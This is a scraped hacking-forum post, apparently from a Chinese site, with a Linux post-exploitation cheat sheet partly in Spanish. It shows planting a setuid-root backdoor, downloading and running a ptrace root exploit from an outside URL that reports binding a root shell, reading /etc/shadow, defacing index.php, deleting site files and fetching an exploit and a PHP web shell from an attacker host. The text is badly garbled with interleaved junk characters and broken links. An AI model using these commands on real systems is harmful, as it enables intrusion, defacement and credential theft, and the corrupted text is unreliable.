- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
 |
< ><FONT color=#ff0000>by:cnbird</FONT></P>5 p5 R; [0 T1 R* N6 v
< >1.</P>* X$ M( ~! A" }+ l# Q& v
< >[cnbird@localhost tmp]#id</P>8 ]; m1 q# g, `( L
< >uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)</P>
5 h* C# b4 V( ~( a& T# _1 C+ e< >[cnbird@localhost tmp]#cp `which id ` .</P># F0 d; a. Y; D: P4 J' z
< >[cnbird@localhost tmp]#chown root ./id</P>7 |- _0 T* `( i: n9 v% }
< >[cnbird@localhost tmp]#chmod 755 ./id ; chmod u+s ./id</P> e! e( E& ^: R: Z# F( R7 n
< >[cnbird@localhost tmp]#ls -l ./id</P>
" ~% s4 t+ j# `9 U6 B< >-rwsr-xr-x 1 root root 9264 Mar 8 21:36 ./id*</P>
6 p; l9 w0 Q/ @* t, M, {6 `' Y< >[cnbird@localhost tmp]#exit</P># {' {9 e( W0 }7 z
< >[cnbird@localhost tmp]$id</P>
" l( h& ?9 w: o' _4 ? |( j< >uid=500(cnbird) gid=500(cnbird) groups=500(cnbird)</P>
+ e! }6 M. A: E< >[cnbird@localhost tmp]$./id </P>
( p6 [, m4 `# P% |$ n) G< >uid=500(cnbird) gid=500(cnbird) euid=0(root) groups=500(cnbird)</P>
0 j9 j4 a q F< >2.利用ptrace成为root的方法</P>6 D3 @/ i9 d/ T5 o+ ? k, I
< >[bash]# cd /tmp/; wget <a href="http://delivered.informaticahispana.org/ptrace.c" target="_blank" ><FONT color=#0000ff>http://delivered.informaticahispana.org/ptrace.c</FONT></A>; gcc ptrace.c -o ptrace; chmod -c 777 ptrace; ./ptrace b# Y& d# t' D; V; t |
-> Parent's PID is 2313. Child's PID is 2314.. w4 F. c) z" g: G% v
-> Attaching to 2315...
/ S& ^! D8 M m( A3 U' p-> Got the thread!!
; ]2 q) x @; Y! b-> Waiting for the next signal...
9 a% ~6 G/ K2 `0 o" B$ J& V-> Injecting shellcode at 0x4000e85d
1 e- r7 [0 q! ?2 T( h- w7 G/ Q-> Bind root shell on port 24876... =p
6 f! _) R9 p6 W# E; q-> Detached from modprobe thread.
+ I3 O; E) [' I4 R# m-> Committing suicide.....</P>/ ?$ y: d' ~! O
< >[bash]# id/ s3 K7 f5 z: {& l# e b
uid=0(root) gid=0(root) groups=0(root)</P>5 ?: C* L1 \" z1 ]( M4 B8 T- K
< > ara ver los dominios que hay en el server:; }1 e9 a0 I" h; p ^* O
---------------------------------------------------------2 y: f3 l) {( A
cat /etc/httpd/conf/httpd.conf|grep ServerName << Solo salen los dominios
+ {; P6 w0 P% x$ S" J- scat /etc/httpd/conf/httpd.conf << Unicamente los puros dominios
5 b& Y' f8 C- `$ mcat /etc/localdomains << Unicamente los dominios locales: T6 @- b6 i: z/ v
cat /etc/trueuserdomains << Revela los verdades propietarios de cada dominio : s: V9 \: F% E6 U8 q- _
cat /etc/userdomains << Este es el mas comun) T8 ^. z8 n9 {, X9 T7 O
---------------------------------------------------------</P>
+ z- }2 j. p' s3 h) C$ Z" i/ X% `< > ara ver la version de kernel:0 |% Y6 A2 m' o9 X/ q2 }
---------------------------------------------------------! F7 x+ b- G* }/ v; j! g8 M) S0 b
uname -a <<Te sale algo asi Linux itys.host4u.net 2.4.20....., 2.4.20 viene siendo la version del kernel.4 h; `2 ^- h# {& ?8 q% U6 v. H
---------------------------------------------------------</P>1 m* v; l6 P: X% O* z
< > ara modificar un index ya existente:/ ^& I7 m H0 I* ~% L# C' D/ G6 |
---------------------------------------------------------, [$ d$ j9 |& g; {: u
echo "RootBox was OwNz You">index.php <<sobreescribe el archivo index.php con nuevo contenido
4 U; {, g. y3 H9 I( H---------------------------------------------------------</P>
& b) v+ W$ G. s2 R+ j$ \" e< > ara subir, compilar, darle permisos de ejecucion y ejecutar un exploit:
. @" U2 S# ?& Z" Y---------------------------------------------------------$ l2 K: j, n! `/ o4 \' T1 P; L+ @; z3 f
cd /tmp/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/exploit.c"><FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/exploit.c</FONT></A> <<aqui subimos el exploit M* n# ^' ]0 ?: Z- B
cd /tmp/;cc exploit.c -o exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado <<aqui lo compilamos con el nombre de "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
% F+ E# C0 g2 j# Q: Ncd /tmp/;chmod -c 777 exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado <<aqui le damos permisos de ejecucion a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"0 ~" F+ M* x( q# Q, {
cd /tmp/;./exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado <<aqui estamos ejecutando a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado". ; C, |6 X% q9 G
Hasta aqui termina el proceso para un exploit.
5 K2 G% P: J C! u2 r3 D5 T& [---------------------------------------------------------</P>
9 E' F; A- M# J0 f" \, C; [3 J< >Ver las contraseñas encriptadas de todos los usuarios:
& X- Q2 |9 C4 X---------------------------------------------------------
% w1 ~( ~& X! q* t3 ycat /etc/shadow <<Solo funciona si tienes permisos como root.
( s' r. ^ N: s2 i. _9 f---------------------------------------------------------</P>
& s7 D9 z6 x9 }( M9 ]2 r< >Borrar un Ficher
& _( S, d. [$ R/ v6 h---------------------------------------------------------& ?) X9 J; @! B Q/ F
cd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;rm import.htm<<aqui estan borrando con el comando rm, el fichero import.htm
# B4 R' U9 C6 X( U" `$ t" x---------------------------------------------------------</P>' k" O, ?) l/ \0 Z1 n: \
< >Subir un ficher
% `3 O8 Y) A: h8 N---------------------------------------------------------4 z: y4 r% y9 ^% @5 a
cd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/shell.php<<ESTAMOS"><FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/shell.php<<Estamos</FONT></A> subiendo el fichero shell.php</P>1 X7 z( {/ G! I2 _9 f8 g
< >5 u* `: |$ w1 R. r9 k0 |3 E' o
<CENTER></CENTER> |
zan
|